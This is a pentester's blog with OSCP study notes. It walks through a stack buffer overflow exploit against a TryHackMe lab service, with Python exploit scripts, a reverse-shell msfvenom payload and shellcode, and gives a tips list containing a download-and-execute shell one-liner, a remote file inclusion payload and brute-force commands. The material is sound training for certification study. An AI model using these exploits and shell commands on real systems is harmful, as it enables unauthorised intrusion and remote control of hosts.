# blakejarvis.com

Blog posts and quick notes related to pentesting, cybersecurity and technology.

Cybersecurity consultant in Atlanta, Georgia. OSCP. University of Georgia alum. Tinkerer of all things bash, python, ELK Stack, and Docker. Sharing my ongoing projects related to pentesting, home labs, and thoughts from working in technology.

### Recent Blog Posts:

* **Home Assistant & Home Automations**
  * [Setting up FTP with Amcrest Camera](/home-assistant/setting-up-ftp-with-amcrest-camera#overview)
  * [Home Assistant Amcrest Video Viewer](/home-assistant/home-assistant-amcrest-video-viewer#on-github)
* **OSCP**
  * [External Resources](/oscp/oscp-external-resources)
  * [Buffer Overflow Framework](/oscp/oscp-buffer-overflow-framework)
  * [Things to Try When Stuck](/oscp/oscp-things-to-try-when-stuck)
* **Log Analysis**
  * [Part 1: Using Fast Reverse Proxy (FRP) to Expose Logging Infrastructure](/web-server-log-analysis/using-fast-reverse-proxy-frp-to-expose-logging-infrastructure)
  * [Part 2: Using Logstash’s Grok Filter to Parse Docker Nginx Logs](/web-server-log-analysis/using-logstashs-grok-filter-to-parse-docker-nginx-logs)
  * [Part 3: Using Greynoise with Logstash](/web-server-log-analysis/using-greynoise-with-logstash)
* **Miscellaneous Articles:**
  * [Using Cloudflare Page Rules to Point a Root Domain to a GitBook Site](/miscellaneous-articles/using-cloudflare-page-rules-to-point-a-root-domain-to-a-gitbook-site)
  * [How to Secure the Ghost Blogging Platform](/miscellaneous-articles/how-to-secure-the-ghost-blogging-platform)
  * [An Overview of Apple and Google's Privacy-Preserving Contact Tracing Framework](/miscellaneous-articles/apple-and-googles-privacy-preserving-contact-tracing-framework)
  * [Active Directory Deception Technology](/miscellaneous-articles/active-directory-deception-technology)

### LinkedIn

<https://www.linkedin.com/in/blakejarvis/>

### Not Cyber/Tech

In my free time I'm doing one of the following:

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8pYnvaRhNgKmOdBLr%2F-MQ8q_beAGnbFf8kmSGu%2Fabout-1.jpg?alt=media\&token=05f9b52b-e736-407c-821d-675f60ed950a)

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8pYnvaRhNgKmOdBLr%2F-MQ8qbp1-PS6eBHcxNcF%2Fabout-2.gif?alt=media\&token=f439232e-0f84-4f13-8016-b42e7ba5fe36)


# Setting up FTP with Amcrest Camera

Configuring FTP as a storage destination for Amcrest motion events

### Overview

Amcrest cameras can be fully configured to operate with no internet access, and can store videos and motion recordings locally on an SD card, via FTP, or on a NAS device. This post details how to set up the Amcrest camera to store motion events on a remote server via FTP, which can be displayed in Home Assistant.

<img src="https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQ8cxwnVFEmRLJ-r5WP%2Fuploads%2FbqC9cqwc6lwNpm5ljq2o%2Fimage.png?alt=media&amp;token=9c0ee563-df23-4c43-bdc1-e2782f6a8d8d" alt="" data-size="original">

{% hint style="info" %}
The Amcrest camera model used in this blog is the Amcrest 1080P WiFi Security Camera 2MP Indoor Pan/Tilt Wireless IP Camera, IP2M-841W, however the configuration options for various Amcrest cameras are likely very similar.
{% endhint %}

### Configuring an FTP Server

There are a multitude of articles detailing how to set up an FTP server. The main FTP requirements for Amcrest are:

* Network access from the Amcrest camera to the FTP server
* An FTP username and password the Amcrest camera can use
* Permissions to read and write over FTP on the remote server&#x20;

See the following articles for how to set up FTP:

* <https://www.digitalocean.com/community/tutorials/how-to-set-up-vsftpd-for-a-user-s-directory-on-ubuntu-20-04>
* <https://phoenixnap.com/kb/install-ftp-server-on-ubuntu-vsftpd>

### FTP as an Amcrest Storage Destination

Once an FTP server is set up, the Amcrest camera can be configured to store videos on the FTP server. Browse to the web server running on the camera's IP address on web 80 and authenticate as the admin user.&#x20;

**Storage Schedule** - Navigate to the storage schedule tab, and set the motion and alarm options to 24/7. This causes the camera to record motion events all day.

<figure><img src="https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQ8cxwnVFEmRLJ-r5WP%2Fuploads%2FRMzPZwPYU7zeeEToXfdz%2Fimage.png?alt=media&amp;token=ddfa27b5-1fa9-4a81-8bc5-084bb2c3be61" alt=""><figcaption></figcaption></figure>

**Storage Destination** - Navigate to the storage destination tab, and enter the FTP connection details of the recently configured FTP server.

<figure><img src="https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQ8cxwnVFEmRLJ-r5WP%2Fuploads%2FvbvnjA2X1pAGocV2yYVT%2Fimage.png?alt=media&amp;token=46d09371-63d3-486f-a0cc-37ade25dd53c" alt=""><figcaption></figcaption></figure>

For various reasons, the Amcrest connection over FTP could be unsuccessful. Use the "test" option to verify the Amcrest camera can successfully connect to the FTP server and write files. When troubleshooting, run the following tcpdump command on the FTP server:

```
 sudo tcpdump -i eno1 port 21
```

And look for FTP commands being performed by the Amcrest Camera, such as:

<pre><code>FTP: 230 Login successful.
FTP: 257 "/" is the current directory
<strong>FTP: CWD uploads/FTP_TEST/1663706237_44757228270
</strong>FTP: stor ftp_test.txt
FTP: DELE ftp_test.txt
</code></pre>


# Home Assistant Amcrest Video Viewer

Using Docker and Python/Flask to display Amcrest video recordings

### On GitHub

See the GitHub project below:

{% embed url="<https://github.com/blakejarvis/homeassistant-video-viewer>" %}


# External Resources

Helpful resources outside of the Offensive Security course material

### More Lab Practice

* [Offensive Security Proving Grounds (Practice)](https://www.offensive-security.com/labs/individual/) - At $20/month,

  Proving Grounds Practice was the best external resource I encountered to simulate like boxes. I also found it to be much more helpful than the course labs for the following reasons:

  * Boxes designed and vetted by Offensive Security that mirror the exam boxes, both difficulty rating and techniques required.
  * Dedicated (i.e. not shared like OSCP labs)&#x20;
  * Clear difficulty rating of easy, medium, and hard. These ratings were in line with the exam boxes I encountered.
  * Box hints for initial access and privilege escalation that don't give the answer away but give direction of what to focus on.
  * Box walkthroughs which I found to be much more helpful than the Offensive Security forums. The walkthroughs are very thorough and helped me understand why I missed something.

### Buffer Overflow

* [Tib3rius Buffer Overflow Pentest Cheatsheet](https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst) - Learn to use the Mona Immunity debugger, which saves a lot of time in testing for badchars.
* [Tib3rius' TryHackMe buffer overflow prep room](https://tryhackme.com/room/bufferoverflowprep) - This room provides 10 buffer overflow challenges that are very similar to the buffer overflow encountered on the exam.

### Windows and Linux Privilege Escalation

* Tib3rius has created the following Udemy courses for $20 each and they are well worth the money. The OffSec coursework touches on both Linux and Windows privesc but the Udemy courses cover most all privesc techniques likely to be required in the exam.
  * [Windows Privilege Escalation for OSCP & Beyond!](https://www.udemy.com/course/windows-privilege-escalation/)
  * [Linux Privilege Escalation for OSCP & Beyond!](https://www.udemy.com/course/linux-privilege-escalation/)

### Pentesting Techniques/Resources

* [Books.hacktricks.xyz](https://book.hacktricks.xyz/)

### Shells

* [Github PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)


# Buffer Overflow Framework

10 Steps to a shell on OSCP-like stack-based buffer overflows.

*The below steps condensed into a table in a word document:*

{% file src="/files/-MXlKsDUUhv639xCQIlA" %}

## Overview

Once an initial understanding of of how to perform stack-based buffer overflows is obtained, use this template to ensure no steps are missed and commands can easily be copy/pasted.

Refer to buffer [overflow external resources](https://blog.blakejarvis.com/oscp/external-resources#buffer-overflow) for more cheat sheets and the buffer overflow TryHackMe room.

TryHackMe room [bufferoverflowprep](https://tryhackme.com/room/bufferoverflowprep) Task 1 is used as an example in the below steps.

{% hint style="success" %}
Identifying bad chars with Immunity's Mona (step 5) is the most significant tool I learned that was not covered in the OSCP labs or other common resources.
{% endhint %}

### 1. Identify Buffer Size

{% hint style="info" %}
In the OSCP exam, fuzzing is not required and this step can be skipped since it is assumed a buffer of 2000 characters (example used below) overflows the application.
{% endhint %}

An example/test script that overflows the application buffer is provided similar to the following:

{% code title="overflow1.py" %}

```python
import socket, time, sys

ip = sys.argv[1]
port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 2000

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

The application overflows at 2000 characters with the EIP overwritten by `\x41\x41\x41\x41` (i.e. AAAA).

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt1g2v6ungAp33WGU4%2F-MXt570ZRvWFb3iAPi1S%2Fimage.png?alt=media\&token=4d445fd6-ed94-45d3-9299-fd924ab49ff1)

### 2. Find EIP Point

Replace the `buffer` variable above with the output of the following:

{% code title="kali\@kali" %}

```bash
msf-pattern_create -l 2000
```

{% endcode %}

{% code title="overflow2.py" %}

```python
import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"

string = pattern

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

When ran, the application crashes. Capture the value of EIP as `6F43396E`.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt1g2v6ungAp33WGU4%2F-MXt5lmcawyiKvPvzOd0%2Fimage.png?alt=media\&token=55238450-3b21-4f7c-b676-80379e2e31c0)

### 3. Get Offset

Use the EIP value and find the offset:

{% code title="kali\@kali" %}

```python
msf-pattern_offset -l 1500 -q 6F43396E
```

{% endcode %}

### 4. Get Controllable Char Length

Add `"post" = "D" * 500` to the payload to ensure there is enough space for shellcode after the application is overflowed.

{% code title="overflow4.py" %}

```python
import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

pre = "A" * 1978
eip = "B" * 4
offset = "C" * 0
post = "D" * 500

string = pre + eip + offset + post

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

As displayed in the stack view, there is more than enough room for shellcode to be placed after the EIP value.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt5r360krZJv8EB-k_%2F-MXt7SC0DUruqF5zuW5r%2Fimage.png?alt=media\&token=19a3b7fc-38a4-4990-b597-de84ef2c892d)

### 5. Identify Bad Chars

Replace the "post" parameter with a badchar array and run the application.

{% hint style="danger" %}
Remove \x00 from the starting badchars array before testing, as this will always be a bad character.
{% endhint %}

{% code title="overflow5.py" %}

```python
 import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

#chars removed: \x00
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

pre = "A" * 1978
eip = "B" * 4
offset = "C" * 0
post = badchars

string = pre + eip + offset + post

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

Use the mona debugger within Immunity to identify badchars by setting the mona working directory, creating a bytearray matching the bytearray used in the above python script, and using the ESP value to compare the two and find discrepancies (i.e. badchars).

{% code title="Immunity Debugger" %}

```python
!mona config -set workingfolder c:\windows\temp\
!mona bytearray -b "\x00" 
!mona compare -f C:\windows\temp\bytearray.bin -a [esp value]
```

{% endcode %}

Badchars will be boxed in the mona display. Note the subsequent character is always affected and is usually not a badchar. Remove the badchars from the array and retest.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt7qIPm3mDXAW5qbwb%2F-MXt8NpNSoR6g5od8A23%2Fimage.png?alt=media\&token=371b3cc3-9e00-4b85-b3c5-abba16d1a79e)

{% hint style="warning" %}
Once badchars are identified and removed from the badchar array, complete this step again to ensure all badchars are removed.
{% endhint %}

### 6. Find JMP ESP

Identify shellcode for a JMP ESP instruction as `\xff\xe4`:

{% code title="kali\@kali" %}

```python
msf-nasm_shell
nasm > JMP ESP
00000000  FFE4              jmp esp
```

{% endcode %}

Find safe DLLs without ASLR and other stack overflow mitigations. Run the below command after Immunity is attached to the application but before the application is unpaused.

{% code title="Immunity Debugger" %}

```python
!mona modules
```

{% endcode %}

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt9B2IsRgmeahrC5DU%2F-MXt9Q_CVOdYWEJmzlzE%2Fimage.png?alt=media\&token=6497257d-f379-4a92-a246-424ac2d497cb)

{% code title="Immunity Debugger" %}

```python
!mona find -s "\xff\xe4" -m "oscp.exe"
!mona find -s "\xff\xe4" -m "essfunc.dll"
```

{% endcode %}

Multiple suitable addresses are identified in `essfunc.dll`that do not contain badchars.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXt9B2IsRgmeahrC5DU%2F-MXt9s8DHkQPY-P7937n%2Fimage.png?alt=media\&token=5a710e4b-bdc4-4eff-9b78-fdb9514a4d99)

The identified address `0x625011af` is used. Place in the python script in reverse as: `"\xaf\x11\x50\x62`.&#x20;

### 7. Generate Shellcode

{% code title="kali\@kali" %}

```bash
msfvenom -p windows/shell_reverse_tcp lport=53 lhost=10.6.51.138 -f c -b "\x00\x07\2e\xa0" EXITFUNC=thread
```

{% endcode %}

{% hint style="warning" %}
Don't specify an encoder (e.g. x86/shikata\_ga\_nai). msfvenom will pick one for you.
{% endhint %}

### 8. Add NOPs

Add 10 `\x90` nops (line 38, 40) to the payload after the EIP to ESP offset and before the shellcode payload.

{% code title="overflow8.py" %}

```python
import socket, time, sys

ip = "10.10.53.251"
port = 1337
timeout = 5

#chars removed \x00\x07\x2e\xa0
#msfvenom -p windows/shell_reverse_tcp lhost=10.6.51.138 lport=53 -f c -b "\x00\x07\x2e\xa0" EXITFUNC=thread
payload = ("\xdb\xc4\xbb\x43\xbc\x49\x27\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
           "\x52\x31\x5f\x17\x03\x5f\x17\x83\x84\xb8\xab\xd2\xf6\x29\xa9"
           "\x1d\x06\xaa\xce\x94\xe3\x9b\xce\xc3\x60\x8b\xfe\x80\x24\x20"
           "\x74\xc4\xdc\xb3\xf8\xc1\xd3\x74\xb6\x37\xda\x85\xeb\x04\x7d"
           "\x06\xf6\x58\x5d\x37\x39\xad\x9c\x70\x24\x5c\xcc\x29\x22\xf3"
           "\xe0\x5e\x7e\xc8\x8b\x2d\x6e\x48\x68\xe5\x91\x79\x3f\x7d\xc8"
           "\x59\xbe\x52\x60\xd0\xd8\xb7\x4d\xaa\x53\x03\x39\x2d\xb5\x5d"
           "\xc2\x82\xf8\x51\x31\xda\x3d\x55\xaa\xa9\x37\xa5\x57\xaa\x8c"
           "\xd7\x83\x3f\x16\x7f\x47\xe7\xf2\x81\x84\x7e\x71\x8d\x61\xf4"
           "\xdd\x92\x74\xd9\x56\xae\xfd\xdc\xb8\x26\x45\xfb\x1c\x62\x1d"
           "\x62\x05\xce\xf0\x9b\x55\xb1\xad\x39\x1e\x5c\xb9\x33\x7d\x09"
           "\x0e\x7e\x7d\xc9\x18\x09\x0e\xfb\x87\xa1\x98\xb7\x40\x6c\x5f"
           "\xb7\x7a\xc8\xcf\x46\x85\x29\xc6\x8c\xd1\x79\x70\x24\x5a\x12"
           "\x80\xc9\x8f\xb5\xd0\x65\x60\x76\x80\xc5\xd0\x1e\xca\xc9\x0f"
           "\x3e\xf5\x03\x38\xd5\x0c\xc4\x4d\x2c\x3d\x9e\x3a\x32\x41\x9e"
           "\x8f\xbb\xa7\xf4\xff\xed\x70\x61\x99\xb7\x0a\x10\x66\x62\x77"
           "\x12\xec\x81\x88\xdd\x05\xef\x9a\x8a\xe5\xba\xc0\x1d\xf9\x10"
           "\x6c\xc1\x68\xff\x6c\x8c\x90\xa8\x3b\xd9\x67\xa1\xa9\xf7\xde"
           "\x1b\xcf\x05\x86\x64\x4b\xd2\x7b\x6a\x52\x97\xc0\x48\x44\x61"
           "\xc8\xd4\x30\x3d\x9f\x82\xee\xfb\x49\x65\x58\x52\x25\x2f\x0c"
           "\x23\x05\xf0\x4a\x2c\x40\x86\xb2\x9d\x3d\xdf\xcd\x12\xaa\xd7"
           "\xb6\x4e\x4a\x17\x6d\xcb\x6a\xfa\xa7\x26\x03\xa3\x22\x8b\x4e"
           "\x54\x99\xc8\x76\xd7\x2b\xb1\x8c\xc7\x5e\xb4\xc9\x4f\xb3\xc4"
           "\x42\x3a\xb3\x7b\x62\x6f")

pre = "A" * 1978
eip = "\xaf\x11\x50\x62" #0x625011af
offset = "C" * 0
nops = "\x90" * 10
post = payload
string = pre + eip + offset + nops + post

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(string))
    s.send("OVERFLOW1 " + string + "\r\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
    time.sleep(1)
```

{% endcode %}

### 9. Listen for Shell

Set up a kali listener:

{% code title="kali\@kali" %}

```bash
sudo nc -nvlp 53
```

{% endcode %}

### 10. Run the Exploit

{% hint style="info" %}
Set an Immunity breakpoint at the JMP ESP value and ensure execution flow is halted and the breakpoint is hit when the exploit is ran.
{% endhint %}

{% code title="kali\@kali" %}

```bash
python overflow8.py
```

{% endcode %}

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXtBQdceZujNy7BGe6I%2F-MXtEHtJNgDWlTjwu7Dc%2Fimage.png?alt=media\&token=b614d413-f6c2-4d45-82d4-9c92ef1a0aff)


# OSCP - Things to Try When Stuck

Stuck on a box? Try the ideas below I learned from OSCP practice boxes.

### &#xD;Initial Access

#### Web discovery

* Search for `http://site/[hostname]` if you can't find a directory or software you think should exist.
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.
* Fuzz parameters with ffuf.
* Examine response headers for minor custom errors.

#### Getting a shell

* To save time, upload a web shell instead of manually executing PHP commands.
* Some PHP local file inclusion vulnerabilities can reference remote resources with `?path=http://[kali ip]/rev-shell.php`.
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: `wget -P /tmp http://kali/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf`
* If a CMS has an RCE, look closely at what/where it's implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.
* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add `exit(0)` in the python script after the account is created and use the credentials for another exploit.
* Use the same ports the box has open for shell callbacks.
* Try at least 4 ports and ping when trying to get a callback.
* If you can control data being read to the server, always consider serialization.
* Always test payloads locally, especially if it's blind.
* Consider where can you write data to that's then read back in to the server.

#### General

* Don't spin wheels on other routes if something has a known exploit to root and it's a 10 pointer.
* Check version numbers to ensure something isn't a false flag.
* Consider similar protocols. If you get an SSH key, try using it over SCP.
* Type version numbers carefully!
* For hydra always do -e nsr. Example: `hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I`
* Look for `auth-owners` in nmap to get usernames.
* FTP - always be in a directory on kali that's writable to download files.
* FTP brute force "admin".
* Search Metasploit modules for ideas <https://github.com/rapid7/metasploit-framework>.
* Search a software's Github page for version files that would give specific information.
* See Proving Grounds' Dibble for node.js RCE.
* Review page source code for commented out areas for every page.
* Guess parameters. If there's a POST forgot\_pass.php with an email param, try `GET /forgot_pass.php?email=%0aid.`
* Parameter/command injection fuzzing:
  * Payload list: [github.com/payloadbox/command-injection-payload-list](https://github.com/payloadbox/command-injection-payload-list)
  * `ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde`
  * See Proving Grounds' Hetemit for an example
* When brute forcing credentials, guess the software name as the username and password.
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.

### Windows Privilege Escalation

* Explore the C:\ drive root. Some scheduled tasks can't be seen as a low level user could be located at C:\\.
* Always test a reverse shell on a windows box when attempting to get a shell.
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn't work, execute a command to change the Administrator password and used smbexec to auth.
* Identify all users. Attempt to brute force authentication via RDP
* Always view "C:\program files" and "C:\program files (x86)" for installed apps.

### Linux Privilege Escalation

* Privesc scripts aren't always right:
  * e.g. a decoy exist item in crontab when `sudo -l` reveals a process dumper used to get credentials from memory.
* If a process dumper is available, don't Google too deep. See if there are custom "password" processes to target.
* `su root` is the best way to switch to root if you have a password but aren't in root group.
* Identify all users. Attempt to brute force auth ssh if `/home` or `/etc/passwd` is pulled.
* Always run `echo $PATH` to show available commands/locations.
* Docker - see Proving Grounds' Sirol/Escape box.
* If a user is in a group, it's probably for a reason.
* Fully understand software that's related to a user's group (e.g. fail2ban group).
* Use [pspy](https://github.com/DominicBreuker/pspy) to spy on processes and cronjobs you may not be able to see
* Run `groups`.
* `cat ~/.profile && cat ~/.bashrc`.
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.
* If another user exist, always `su [user]` with no password and their name as the password.
* Check `/var/backups`.
* Custom SUIDs won't be highlighted as linpeas and other privesc scripts don't know what they are.
  * Examine each and every SUD!
* Run [linux-smart-enumeration/lse.sh](https://github.com/diego-treitos/linux-smart-enumeration) as a backup privilege escalation script.
* Files with caps / capabilities - see Proving Grounds' Escape box.


